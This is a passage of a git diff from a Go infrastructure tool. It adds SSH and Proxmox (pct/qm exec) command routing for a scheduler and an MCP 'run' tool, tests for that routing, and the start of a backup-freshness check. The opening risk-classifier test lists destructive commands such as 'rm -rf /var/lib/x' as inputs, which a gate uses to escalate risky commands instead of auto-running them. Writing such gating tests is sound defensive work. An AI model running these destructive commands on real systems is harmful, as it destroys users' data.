t.Errorf("empty command should default to config_mutation (escalate), got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// reversible_low is never computed from the command text — it can only arrive
|
||||
// as a declaration. These pin down the asymmetry that makes auto-running it
|
||||
// safe: a declaration may raise the class but never lower it, so the only
|
||||
// computed class reversible_low can accompany is read_only.
|
||||
func TestReversibleLowOnlyArrivesAsADeclaration(t *testing.T) {
|
||||
// Nothing in the command text alone yields reversible_low.
|
||||
for _, cmd := range []string{
|
||||
"systemctl restart nginx", "uptime", "cat /etc/os-release",
|
||||
"apt-get update", "docker restart web", "rm -rf /tmp/x",
|
||||
} {
|
||||
if got := ClassifyCommand(cmd, ""); got == RiskReversibleLow {
|
||||
t.Errorf("ClassifyCommand(%q, \"\") = reversible_low; the classifier should never compute it", cmd)
|
||||
}
|
||||
}
|
||||
|
||||
// Declaring it on a read-only command raises to reversible_low...
|
||||
if got := ClassifyCommand("uptime", RiskReversibleLow); got != RiskReversibleLow {
|
||||
t.Errorf("declared reversible_low over a read_only command = %q, want reversible_low", got)
|
||||
}
|
||||
|
||||
// ...but declaring it can never talk a riskier command down.
|
||||
if got := ClassifyCommand("apt-get upgrade -y", RiskReversibleLow); got == RiskReversibleLow {
|
||||
t.Error("declaring reversible_low must not lower a config_mutation command")
|
||||
}
|
||||
if got := ClassifyCommand("rm -rf /var/lib/x", RiskReversibleLow); got != RiskDestructive {
|
||||
t.Errorf("declaring reversible_low over a destructive command = %q, want destructive", got)
|
||||
}
|
||||
}
|
||||
|
||||
303
internal/remote/remote.go
Normal file
303
internal/remote/remote.go
Normal file
@@ -0,0 +1,303 @@
|
||||
// Package remote resolves how to execute a command on a target entity and
|
||||
// turns a plain shell command into whatever must be sent over the SSH
|
||||
// connection that reaches it.
|
||||
//
|
||||
// The canonical access model: a host or workstation is reached by direct SSH
|
||||
// to its address; an LXC or VM is NEVER SSH'd into directly — it is reached
|
||||
// through its owning Proxmox host via `pct exec` / `qm guest exec`. One SSH
|
||||
// credential per host (the host's root key), no per-guest keys, sshd, or
|
||||
// lan_ip required for execution. Network probes (http/ping) still hit a
|
||||
// guest's lan_ip directly; only command execution host-hops.
|
||||
//
|
||||
// This is the single resolver shared by the scheduler's check execution and
|
||||
// the MCP `run` tool. Previously they diverged — the scheduler SSHed guests
|
||||
// directly (broken for headless/keyless/mesh-only guests), while MCP
|
||||
// host-hopped (working). Keeping one path keeps them in lockstep.
|
||||
package remote
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// DefaultUser is the SSH user when an entity declares no ssh.user. The
|
||||
// Proxmox hosts and their guests are all administered as root.
|
||||
const DefaultUser = "root"
|
||||
|
||||
// ExecTarget is a resolved execution endpoint: the SSH address and user to
|
||||
// connect to, plus Wrap, which rewrites a plain command for transport.
|
||||
type ExecTarget struct {
|
||||
Host string
|
||||
User string
|
||||
// Wrap turns a plain shell command into the form that must be sent over
|
||||
// the SSH connection to this target: the identity function for a host,
|
||||
// `pct exec <id> -- bash -c 'echo <b64> | base64 -d | bash'` for an LXC,
|
||||
// the `qm guest exec` equivalent for a VM. The base64 round-trip keeps
|
||||
// nested quoting identical across both guest kinds.
|
||||
Wrap func(cmd string) string
|
||||
}
|
||||
|
||||
// IsGuest reports whether an entity type is reached via pct/qm exec through a
|
||||
// Proxmox host rather than by direct SSH. docker-container is reached via its
|
||||
// host's docker socket, not pct, so it is not a guest here.
|
||||
func IsGuest(entityType string) bool {
|
||||
return entityType == "lxc" || entityType == "vm"
|
||||
}
|
||||
|
||||
// ResolveHost resolves a `host:<slug>` to its reachable network address and
|
||||
// SSH user. Address preference: lan_ip, then public_ipv4, then mesh IP, then
|
||||
// mesh fqdn. Preferring public_ipv4 over mesh matters because the scheduler
|
||||
// container has no mesh interface — a standalone-server with only a mesh IP
|
||||
// (netbird-vps) was unreachable, and a public_ipv4 was sitting unused.
|
||||
//
|
||||
// fallbackUser is used when the entity declares no ssh.user; callers pass
|
||||
// their configured default (the scheduler uses "root", the MCP run tool uses
|
||||
// its configured OIKOS_SSH_USER).
|
||||
func ResolveHost(ctx context.Context, pool *db.Pool, hostSlug, fallbackUser string) (addr, user string, err error) {
|
||||
var raw string
|
||||
if err = pool.QueryRow(ctx, "SELECT attributes::text FROM entities WHERE slug = $1", hostSlug).Scan(&raw); err != nil {
|
||||
return "", "", fmt.Errorf("entity not found: %s", hostSlug)
|
||||
}
|
||||
var m map[string]any
|
||||
if err = json.Unmarshal([]byte(raw), &m); err != nil {
|
||||
return "", "", fmt.Errorf("parse attributes for %s: %w", hostSlug, err)
|
||||
}
|
||||
|
||||
if v, ok := m["lan_ip"].(string); ok && v != "" {
|
||||
addr = v
|
||||
} else if v, ok := m["public_ipv4"].(string); ok && v != "" {
|
||||
addr = v
|
||||
} else if mesh, ok := m["mesh"].(map[string]any); ok {
|
||||
if nb, ok := mesh["netbird"].(map[string]any); ok {
|
||||
if v, ok := nb["ip"].(string); ok && v != "" {
|
||||
addr = v
|
||||
} else if v, ok := nb["fqdn"].(string); ok && v != "" {
|
||||
addr = v
|
||||
}
|
||||
}
|
||||
}
|
||||
if addr == "" {
|
||||
return "", "", fmt.Errorf("no IP found for %s", hostSlug)
|
||||
}
|
||||
|
||||
user = fallbackUser
|
||||
if ssh, ok := m["ssh"].(map[string]any); ok {
|
||||
if u, ok := ssh["user"].(string); ok && u != "" {
|
||||
user = u
|
||||
}
|
||||
}
|
||||
return addr, user, nil
|
||||
}
|
||||
|
||||
// ResolveProxmoxHostSlug resolves the Proxmox host slug that owns a guest.
|
||||
// Resolution order: the hostAttr if non-empty (the entity's attributes.host,
|
||||
// stored without the "host:" prefix), the `hosts` relationship on the guest
|
||||
// (the canonical graph edge), then "hubris" as the documented default.
|
||||
//
|
||||
// entityID is the guest's entity id; the relationship lookup uses it
|
||||
// directly rather than a slug subquery.
|
||||
func ResolveProxmoxHostSlug(ctx context.Context, pool *db.Pool, entityID uuid.UUID, hostAttr string) string {
|
||||
hostSlug := strings.TrimSpace(hostAttr)
|
||||
// Only trust a clean token as a host name. The attribute is operator/
|
||||
// agent-writable and has been polluted with prose before ("hubris
|
||||
// (confirmed via pct config…)") — using that verbatim produces a slug that
|
||||
// never resolves. Treat anything with whitespace or parens as invalid and
|
||||
// fall back to the canonical `hosts` edge below.
|
||||
if strings.ContainsAny(hostSlug, " \t()") {
|
||||
hostSlug = ""
|
||||
}
|
||||
if hostSlug == "" {
|
||||
var relHostSlug string
|
||||
if err := pool.QueryRow(ctx, `
|
||||
SELECT e.slug FROM relationships r
|
||||
JOIN entities e ON e.id = r.source_id
|
||||
WHERE r.target_id = $1
|
||||
AND r.type = 'hosts' AND r.valid_to IS NULL
|
||||
LIMIT 1`, entityID).Scan(&relHostSlug); err == nil && relHostSlug != "" {
|
||||
hostSlug = relHostSlug
|
||||
}
|
||||
}
|
||||
if hostSlug == "" {
|
||||
hostSlug = "hubris" // documented default Proxmox host when unset
|
||||
}
|
||||
if !strings.HasPrefix(hostSlug, "host:") {
|
||||
hostSlug = "host:" + hostSlug
|
||||
}
|
||||
return hostSlug
|
||||
}
|
||||
|
||||
// ResolveExecTarget resolves a target slug (host:, lxc:, or vm:) to its
|
||||
// execution endpoint. This is the slug-based entry used by the MCP `run` tool.
|
||||
func ResolveExecTarget(ctx context.Context, pool *db.Pool, targetSlug, fallbackUser string) (ExecTarget, error) {
|
||||
switch {
|
||||
case strings.HasPrefix(targetSlug, "host:"):
|
||||
addr, user, err := ResolveHost(ctx, pool, targetSlug, fallbackUser)
|
||||
if err != nil {
|
||||
return ExecTarget{}, err
|
||||
}
|
||||
return ExecTarget{Host: addr, User: user, Wrap: func(cmd string) string { return cmd }}, nil
|
||||
|
||||
case strings.HasPrefix(targetSlug, "lxc:"), strings.HasPrefix(targetSlug, "vm:"):
|
||||
var (
|
||||
id uuid.UUID
|
||||
pveID string
|
||||
typ string
|
||||
hostAttr string
|
||||
)
|
||||
if err := pool.QueryRow(ctx,
|
||||
"SELECT id, type, attributes->>'pve_id', COALESCE(attributes->>'host','') FROM entities WHERE slug = $1",
|
||||
targetSlug).Scan(&id, &typ, &pveID, &hostAttr); err != nil || pveID == "" {
|
||||
return ExecTarget{}, fmt.Errorf("guest not found or missing pve_id: %s", targetSlug)
|
||||
}
|
||||
hostSlug := ResolveProxmoxHostSlug(ctx, pool, id, hostAttr)
|
||||
addr, user, err := ResolveHost(ctx, pool, hostSlug, fallbackUser)
|
||||
if err != nil {
|
||||
return ExecTarget{}, err
|
||||
}
|
||||
return ExecTarget{Host: addr, User: user, Wrap: guestWrap(typ, pveID)}, nil
|
||||
}
|
||||
return ExecTarget{}, fmt.Errorf("unsupported target %q: must be host:<slug>, lxc:<slug>, or vm:<slug>", targetSlug)
|
||||
}
|
||||
|
||||
// ResolveExecTargetForCheck resolves an execution endpoint keyed by the
|
||||
// target's id and type — the data the scheduler has at check-execution time
|
||||
// (check_defs carry target_id + target_type, not a slug). Guests route via
|
||||
// pct/qm exec; everything else (hosts, workstations, services resolved to
|
||||
// their hosting machine) is reached by direct SSH to the entity's own address.
|
||||
func ResolveExecTargetForCheck(ctx context.Context, pool *db.Pool, targetID uuid.UUID, targetType, fallbackUser string) (ExecTarget, error) {
|
||||
if IsGuest(targetType) {
|
||||
return resolveGuest(ctx, pool, targetID, targetType, fallbackUser)
|
||||
}
|
||||
|
||||
// A service (or other non-compute target) has no address of its own — it
|
||||
// runs on whatever compute entity provides/hosts it. Resolve that host and
|
||||
// route through it: pct if the host is a guest, direct SSH (with the
|
||||
// host's correct user) if it's a machine. Previously a service check baked
|
||||
// its hosting LXC's lan_ip and SSHed it directly as root, which fails
|
||||
// because the scheduler key isn't in each LXC — only on the Proxmox hosts.
|
||||
if hostID, hostType, ok := hostingCompute(ctx, pool, targetID); ok {
|
||||
if IsGuest(hostType) {
|
||||
return resolveGuest(ctx, pool, hostID, hostType, fallbackUser)
|
||||
}
|
||||
addr, user, err := resolveHostByID(ctx, pool, hostID, fallbackUser)
|
||||
if err != nil {
|
||||
return ExecTarget{}, err
|
||||
}
|
||||
return ExecTarget{Host: addr, User: user, Wrap: func(cmd string) string { return cmd }}, nil
|
||||
}
|
||||
|
||||
// No hosting entity found: reach the target directly at its own address
|
||||
// (a host/workstation, or a service whose host wasn't resolvable).
|
||||
addr, user, err := resolveHostByID(ctx, pool, targetID, fallbackUser)
|
||||
if err != nil {
|
||||
return ExecTarget{}, err
|
||||
}
|
||||
return ExecTarget{Host: addr, User: user, Wrap: func(cmd string) string { return cmd }}, nil
|
||||
}
|
||||
|
||||
// hostingCompute walks the provides/runs-on/hosts edges backward from a target
|
||||
// to the compute entity that runs it (a service's LXC, an LXC's Proxmox host).
|
||||
// Returns the host's id, type, and whether one was found. Most-specific edge
|
||||
// first: provides names the runtime container directly.
|
||||
func hostingCompute(ctx context.Context, pool *db.Pool, targetID uuid.UUID) (uuid.UUID, string, bool) {
|
||||
var hid uuid.UUID
|
||||
var htype string
|
||||
err := pool.QueryRow(ctx, `
|
||||
SELECT e.id, e.type FROM relationships r
|
||||
JOIN entities e ON e.id = r.source_id
|
||||
WHERE r.target_id = $1 AND r.valid_to IS NULL
|
||||
AND r.type IN ('provides','runs-on','hosts')
|
||||
ORDER BY CASE r.type WHEN 'provides' THEN 0 WHEN 'runs-on' THEN 1 ELSE 2 END
|
||||
LIMIT 1`, targetID).Scan(&hid, &htype)
|
||||
if err != nil {
|
||||
return uuid.Nil, "", false
|
||||
}
|
||||
return hid, htype, true
|
||||
}
|
||||
|
||||
// resolveGuest resolves a guest's execution endpoint: the owning Proxmox host
|
||||
// (SSH'd directly) with a pct/qm exec wrapper around the command.
|
||||
func resolveGuest(ctx context.Context, pool *db.Pool, guestID uuid.UUID, guestType, fallbackUser string) (ExecTarget, error) {
|
||||
var pveID, hostAttr string
|
||||
if err := pool.QueryRow(ctx,
|
||||
"SELECT attributes->>'pve_id', COALESCE(attributes->>'host','') FROM entities WHERE id = $1",
|
||||
guestID).Scan(&pveID, &hostAttr); err != nil || pveID == "" {
|
||||
return ExecTarget{}, fmt.Errorf("guest %s missing pve_id", guestID)
|
||||
}
|
||||
hostSlug := ResolveProxmoxHostSlug(ctx, pool, guestID, hostAttr)
|
||||
addr, user, err := ResolveHost(ctx, pool, hostSlug, fallbackUser)
|
||||
if err != nil {
|
||||
return ExecTarget{}, err
|
||||
}
|
||||
return ExecTarget{Host: addr, User: user, Wrap: guestWrap(guestType, pveID)}, nil
|
||||
}
|
||||
|
||||
// resolveHostByID is ResolveHost keyed by entity id.
|
||||
func resolveHostByID(ctx context.Context, pool *db.Pool, id uuid.UUID, fallbackUser string) (addr, user string, err error) {
|
||||
var raw string
|
||||
if err = pool.QueryRow(ctx, "SELECT attributes::text FROM entities WHERE id = $1", id).Scan(&raw); err != nil {
|
||||
return "", "", fmt.Errorf("entity %s not found", id)
|
||||
}
|
||||
var m map[string]any
|
||||
if err = json.Unmarshal([]byte(raw), &m); err != nil {
|
||||
return "", "", fmt.Errorf("parse attributes: %w", err)
|
||||
}
|
||||
for _, key := range []string{"lan_ip", "public_ipv4", "mesh_ip"} {
|
||||
if v, ok := m[key].(string); ok && v != "" {
|
||||
addr = v
|
||||
break
|
||||
}
|
||||
}
|
||||
if addr == "" {
|
||||
if mesh, ok := m["mesh"].(map[string]any); ok {
|
||||
if nb, ok := mesh["netbird"].(map[string]any); ok {
|
||||
if v, ok := nb["ip"].(string); ok && v != "" {
|
||||
addr = v
|
||||
} else if v, ok := nb["fqdn"].(string); ok && v != "" {
|
||||
addr = v
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if addr == "" {
|
||||
return "", "", fmt.Errorf("no IP found for entity %s", id)
|
||||
}
|
||||
user = fallbackUser
|
||||
if ssh, ok := m["ssh"].(map[string]any); ok {
|
||||
if u, ok := ssh["user"].(string); ok && u != "" {
|
||||
user = u
|
||||
}
|
||||
}
|
||||
if u, ok := m["user"].(string); ok && u != "" && user == fallbackUser {
|
||||
// Workstations carry their login as a top-level `user` attribute
|
||||
// (mac-mini: user: dtoro), not under ssh.user. Take it only when no
|
||||
// explicit ssh.user was set, so a host that genuinely wants root still
|
||||
// gets root.
|
||||
user = u
|
||||
}
|
||||
return addr, user, nil
|
||||
}
|
||||
|
||||
// guestWrap builds the pct/qm exec wrapper for a guest of the given type.
|
||||
func guestWrap(entityType, pveID string) func(cmd string) string {
|
||||
if entityType == "vm" {
|
||||
return func(cmd string) string {
|
||||
b64 := base64.StdEncoding.EncodeToString([]byte(cmd))
|
||||
// `qm guest exec` returns JSON; pipe through jq for a clean stdout,
|
||||
// falling back to the raw form. Mirrors the LXC base64 round-trip.
|
||||
return fmt.Sprintf(
|
||||
"qm guest exec %s -- /bin/bash -c 'echo %s | base64 -d | bash' | jq -r '.out // .err // empty' 2>/dev/null || qm guest exec %s -- /bin/bash -c 'echo %s | base64 -d | bash'",
|
||||
pveID, b64, pveID, b64)
|
||||
}
|
||||
}
|
||||
return func(cmd string) string {
|
||||
b64 := base64.StdEncoding.EncodeToString([]byte(cmd))
|
||||
return fmt.Sprintf("pct exec %s -- bash -c 'echo %s | base64 -d | bash'", pveID, b64)
|
||||
}
|
||||
}
|
||||
203
internal/remote/remote_test.go
Normal file
203
internal/remote/remote_test.go
Normal file
@@ -0,0 +1,203 @@
|
||||
package remote
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// guestWrap and IsGuest are pure logic — always tested. The DB-backed
|
||||
// resolvers are integration tests guarded by OIKOS_TEST_DATABASE_URL, the
|
||||
// same convention as internal/scheduler/coverage_test.go.
|
||||
|
||||
func TestIsGuest(t *testing.T) {
|
||||
cases := map[string]bool{
|
||||
"lxc": true, "vm": true,
|
||||
"proxmox-host": false, "workstation": false,
|
||||
"service": false, "docker-container": false,
|
||||
}
|
||||
for typ, want := range cases {
|
||||
if got := IsGuest(typ); got != want {
|
||||
t.Errorf("IsGuest(%q) = %v, want %v", typ, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestGuestWrapLXC(t *testing.T) {
|
||||
w := guestWrap("lxc", "132")
|
||||
out := w("/opt/oikos/checks/cpu_check.sh 'svc'")
|
||||
if !strings.Contains(out, "pct exec 132 -- bash -c ") {
|
||||
t.Fatalf("lxc wrap must use pct exec: %q", out)
|
||||
}
|
||||
if strings.Contains(out, "qm guest exec") {
|
||||
t.Fatalf("lxc wrap must not use qm: %q", out)
|
||||
}
|
||||
// The base64 payload must round-trip to the original command.
|
||||
i := strings.Index(out, "echo ")
|
||||
j := strings.LastIndex(out, " | base64 -d | bash")
|
||||
if i < 0 || j < 0 || j <= i {
|
||||
t.Fatalf("cannot locate base64 payload in %q", out)
|
||||
}
|
||||
dec, err := base64.StdEncoding.DecodeString(out[i+len("echo ") : j])
|
||||
if err != nil {
|
||||
t.Fatalf("decode payload: %v", err)
|
||||
}
|
||||
if string(dec) != "/opt/oikos/checks/cpu_check.sh 'svc'" {
|
||||
t.Fatalf("round-trip mismatch: %q", string(dec))
|
||||
}
|
||||
}
|
||||
|
||||
func TestGuestWrapVM(t *testing.T) {
|
||||
w := guestWrap("vm", "108")
|
||||
out := w("uname -a")
|
||||
if !strings.Contains(out, "qm guest exec 108") {
|
||||
t.Fatalf("vm wrap must use qm guest exec: %q", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveExecTargetUnsupported(t *testing.T) {
|
||||
// No DB needed: an unsupported slug prefix errors before any query.
|
||||
if _, err := ResolveExecTarget(context.Background(), nil, "service:gitea", DefaultUser); err == nil {
|
||||
t.Fatal("expected error for unsupported target prefix")
|
||||
}
|
||||
}
|
||||
|
||||
// --- integration tests (require a real Postgres) ---
|
||||
|
||||
func newRemotePool(t *testing.T) *db.Pool {
|
||||
t.Helper()
|
||||
base := testDatabaseURL(t)
|
||||
return createTestDB(t, base)
|
||||
}
|
||||
|
||||
func testDatabaseURL(t *testing.T) string {
|
||||
t.Helper()
|
||||
u := getenvOrDefault("OIKOS_TEST_DATABASE_URL", "")
|
||||
if u == "" {
|
||||
t.Skip("OIKOS_TEST_DATABASE_URL not set — skipping integration test")
|
||||
}
|
||||
return u
|
||||
}
|
||||
|
||||
func TestResolveHostPrefersLAN(t *testing.T) {
|
||||
pool := newRemotePool(t)
|
||||
ctx := context.Background()
|
||||
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'host:x','proxmox-host','x','active','{"lan_ip":"10.0.0.1","public_ipv4":"1.2.3.4","mesh":{"netbird":{"ip":"100.64.0.1"}}}'::jsonb,1,now(),now())`,
|
||||
uuid.New())
|
||||
|
||||
addr, user, err := ResolveHost(ctx, pool, "host:x", DefaultUser)
|
||||
if err != nil {
|
||||
t.Fatalf("ResolveHost: %v", err)
|
||||
}
|
||||
if addr != "10.0.0.1" {
|
||||
t.Errorf("addr = %q, want lan_ip 10.0.0.1", addr)
|
||||
}
|
||||
if user != "root" {
|
||||
t.Errorf("user = %q, want root", user)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveHostFallsBackToPublicIPv4(t *testing.T) {
|
||||
// netbird-vps: no lan_ip, has public_ipv4 + mesh ip. Must prefer
|
||||
// public_ipv4 — the scheduler container has no mesh interface.
|
||||
pool := newRemotePool(t)
|
||||
ctx := context.Background()
|
||||
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'host:vps','standalone-server','vps','active','{"public_ipv4":"82.165.190.79","mesh":{"netbird":{"ip":"100.122.165.149"}}}'::jsonb,1,now(),now())`,
|
||||
uuid.New())
|
||||
|
||||
addr, _, err := ResolveHost(ctx, pool, "host:vps", DefaultUser)
|
||||
if err != nil {
|
||||
t.Fatalf("ResolveHost: %v", err)
|
||||
}
|
||||
if addr != "82.165.190.79" {
|
||||
t.Errorf("addr = %q, want public_ipv4 (mesh unreachable from container)", addr)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveExecTargetForCheckLXCRoutesViaHost(t *testing.T) {
|
||||
// An LXC guest with a `hosts` edge to a proxmox host must resolve to the
|
||||
// HOST's address (the host-hop target), wrapped as `pct exec`.
|
||||
pool := newRemotePool(t)
|
||||
ctx := context.Background()
|
||||
hostID := uuid.New()
|
||||
guestID := uuid.New()
|
||||
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'host:hubris','proxmox-host','hubris','active','{"lan_ip":"192.168.8.77"}'::jsonb,1,now(),now())`, hostID)
|
||||
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'lxc:rclone','lxc','rclone','active','{"pve_id":"132"}'::jsonb,1,now(),now())`, guestID)
|
||||
mustExec(t, pool, ctx, `INSERT INTO relationships (source_id, target_id, type, valid_from, created_at)
|
||||
VALUES ($1,$2,'hosts',now(),now())`, hostID, guestID)
|
||||
|
||||
et, err := ResolveExecTargetForCheck(ctx, pool, guestID, "lxc", DefaultUser)
|
||||
if err != nil {
|
||||
t.Fatalf("ResolveExecTargetForCheck: %v", err)
|
||||
}
|
||||
if et.Host != "192.168.8.77" {
|
||||
t.Errorf("Host = %q, want proxmox host lan_ip 192.168.8.77 (host-hop)", et.Host)
|
||||
}
|
||||
out := et.Wrap("/opt/oikos/checks/cpu_check.sh")
|
||||
if !strings.Contains(out, "pct exec 132") {
|
||||
t.Errorf("guest wrap must use pct exec 132, got %q", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveExecTargetForCheckHostIsDirect(t *testing.T) {
|
||||
// A host-like target resolves to its own address with identity wrap.
|
||||
pool := newRemotePool(t)
|
||||
ctx := context.Background()
|
||||
hid := uuid.New()
|
||||
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'ws:mini','workstation','mini','active','{"lan_ip":"192.168.178.182","user":"dtoro"}'::jsonb,1,now(),now())`, hid)
|
||||
|
||||
et, err := ResolveExecTargetForCheck(ctx, pool, hid, "workstation", DefaultUser)
|
||||
if err != nil {
|
||||
t.Fatalf("ResolveExecTargetForCheck: %v", err)
|
||||
}
|
||||
if et.Host != "192.168.178.182" {
|
||||
t.Errorf("Host = %q, want 192.168.178.182", et.Host)
|
||||
}
|
||||
// Workstation's top-level `user` must be honored (the mac-mini fix).
|
||||
if et.User != "dtoro" {
|
||||
t.Errorf("User = %q, want dtoro (top-level user attr)", et.User)
|
||||
}
|
||||
if cmd := et.Wrap("uptime"); cmd != "uptime" {
|
||||
t.Errorf("host wrap must be identity, got %q", cmd)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveExecTargetForCheckServiceRoutesViaHostingGuest(t *testing.T) {
|
||||
// A service has no address of its own; it must route through its hosting
|
||||
// LXC via the provides edge, host-hopping through the LXC's proxmox host.
|
||||
pool := newRemotePool(t)
|
||||
ctx := context.Background()
|
||||
hostID := uuid.New()
|
||||
guestID := uuid.New()
|
||||
svcID := uuid.New()
|
||||
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'host:hubris','proxmox-host','hubris','active','{"lan_ip":"192.168.8.77"}'::jsonb,1,now(),now())`, hostID)
|
||||
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'lxc:gitea','lxc','gitea','active','{"pve_id":"104","lan_ip":"192.168.8.121"}'::jsonb,1,now(),now())`, guestID)
|
||||
mustExec(t, pool, ctx, `INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1,'service:gitea','service','gitea','active','{}'::jsonb,1,now(),now())`, svcID)
|
||||
// provides: lxc -> service; hosts: proxmox-host -> lxc
|
||||
mustExec(t, pool, ctx, `INSERT INTO relationships (source_id, target_id, type, valid_from, created_at) VALUES ($1,$2,'provides',now(),now())`, guestID, svcID)
|
||||
mustExec(t, pool, ctx, `INSERT INTO relationships (source_id, target_id, type, valid_from, created_at) VALUES ($1,$2,'hosts',now(),now())`, hostID, guestID)
|
||||
|
||||
et, err := ResolveExecTargetForCheck(ctx, pool, svcID, "service", DefaultUser)
|
||||
if err != nil {
|
||||
t.Fatalf("ResolveExecTargetForCheck for service: %v", err)
|
||||
}
|
||||
// Reaches the proxmox host (host-hop), wrapped as pct exec into the guest.
|
||||
if et.Host != "192.168.8.77" {
|
||||
t.Errorf("Host = %q, want proxmox host 192.168.8.77 (via provides->hosts)", et.Host)
|
||||
}
|
||||
if out := et.Wrap("p"); !strings.Contains(out, "pct exec 104") {
|
||||
t.Errorf("service check must wrap as pct exec 104, got %q", out)
|
||||
}
|
||||
}
|
||||
68
internal/remote/testutil_test.go
Normal file
68
internal/remote/testutil_test.go
Normal file
@@ -0,0 +1,68 @@
|
||||
package remote
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/jackc/pgx/v5"
|
||||
)
|
||||
|
||||
// createTestDB provisions a throwaway migrated database off baseURL, the same
|
||||
// convention as internal/scheduler/coverage_test.go. The base URL must point
|
||||
// at a Postgres superuser-capable connection.
|
||||
func createTestDB(t *testing.T, baseURL string) *db.Pool {
|
||||
t.Helper()
|
||||
ctx := context.Background()
|
||||
|
||||
admin, err := pgx.Connect(ctx, baseURL)
|
||||
if err != nil {
|
||||
t.Fatalf("connect admin: %v", err)
|
||||
}
|
||||
dbName := fmt.Sprintf("oikos_rem_%08x", rand.Int63())
|
||||
if _, err := admin.Exec(ctx, "CREATE DATABASE "+dbName); err != nil {
|
||||
admin.Close(ctx)
|
||||
t.Fatalf("create test db: %v", err)
|
||||
}
|
||||
admin.Close(ctx)
|
||||
|
||||
at := strings.LastIndex(baseURL, "/")
|
||||
testURL := baseURL[:at+1] + dbName
|
||||
if q := strings.Index(baseURL[at:], "?"); q >= 0 {
|
||||
testURL += baseURL[at+q:]
|
||||
}
|
||||
|
||||
pool, err := db.New(ctx, testURL)
|
||||
if err != nil {
|
||||
t.Fatalf("connect test db: %v", err)
|
||||
}
|
||||
if err := pool.Migrate(ctx); err != nil {
|
||||
t.Fatalf("migrate: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
pool.Close()
|
||||
if admin, err := pgx.Connect(ctx, baseURL); err == nil {
|
||||
admin.Exec(ctx, "DROP DATABASE IF EXISTS "+dbName+" WITH (FORCE)")
|
||||
admin.Close(ctx)
|
||||
}
|
||||
})
|
||||
return pool
|
||||
}
|
||||
|
||||
func getenvOrDefault(key, def string) string {
|
||||
if v := os.Getenv(key); v != "" {
|
||||
return v
|
||||
}
|
||||
return def
|
||||
}
|
||||
|
||||
func mustExec(t *testing.T, pool *db.Pool, ctx context.Context, q string, args ...any) {
|
||||
t.Helper()
|
||||
if _, err := pool.Exec(ctx, q, args...); err != nil {
|
||||
t.Fatalf("exec %s: %v", q, err)
|
||||
}
|
||||
}
|
||||
116
internal/scheduler/backup.go
Normal file
116
internal/scheduler/backup.go
Normal file
@@ -0,0 +1,116 @@
|
||||
package scheduler
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||
)
|
||||
|
||||
// checkBackupFreshness reports whether a backup target has a recent artifact.
|
||||
//
|
||||
// The ontology has carried a `backup-target` type and a `backs-up-to` edge
|
||||
// since the first seed, but nothing ever verified that a backup actually
|
||||
// happened — a silent backup failure looked exactly like a working one. This
|
||||
// makes staleness a Signal like any other, so it flows through the existing
|
||||
// dedup, auto-resolve and notifier path rather than needing its own machinery.
|
||||
//
|
||||
// Config: {"path": "/opt/oikos/backups", "max_age_s": 86400, "host": …}
|
||||
//
|
||||
// Deliberately uses `find -mmin` rather than `-printf '%T@'` or `stat`:
|
||||
// -printf is GNU-only and stat's format flag differs between GNU (-c) and BSD
|
||||
// (-f). The first real target for this check is the pre-deploy pg_dump on the
|
||||
// mac-mini, which is macOS — so a GNU-only probe would have silently reported
|
||||
// "unknown" on the one target that motivated the check.
|
||||
func checkBackupFreshness(ctx context.Context, cd sqlcgen.ListEnabledCheckDefsRow) checkResult {
|
||||
cfg := struct {
|
||||
Path string `json:"path"`
|
||||
MaxAgeS int `json:"max_age_s"`
|
||||
Host string `json:"host"`
|
||||
User string `json:"user"`
|
||||
Port int `json:"port"`
|
||||
}{
|
||||
MaxAgeS: 86400, // a daily backup that has not run in 24h is stale
|
||||
}
|
||||
if len(cd.Config) > 0 {
|
||||
_ = json.Unmarshal(cd.Config, &cfg)
|
||||
}
|
||||
if cfg.Path == "" || cfg.Host == "" {
|
||||
return checkResult{health: "unknown", signalKind: "backup-misconfigured",
|
||||
evidence: "backup check needs both a path and a host"}
|
||||
}
|
||||
if cfg.Port == 0 {
|
||||
cfg.Port = 22
|
||||
}
|
||||
if cfg.User == "" {
|
||||
cfg.User = sshUser
|
||||
}
|
||||
if cfg.MaxAgeS <= 0 {
|
||||
cfg.MaxAgeS = 86400
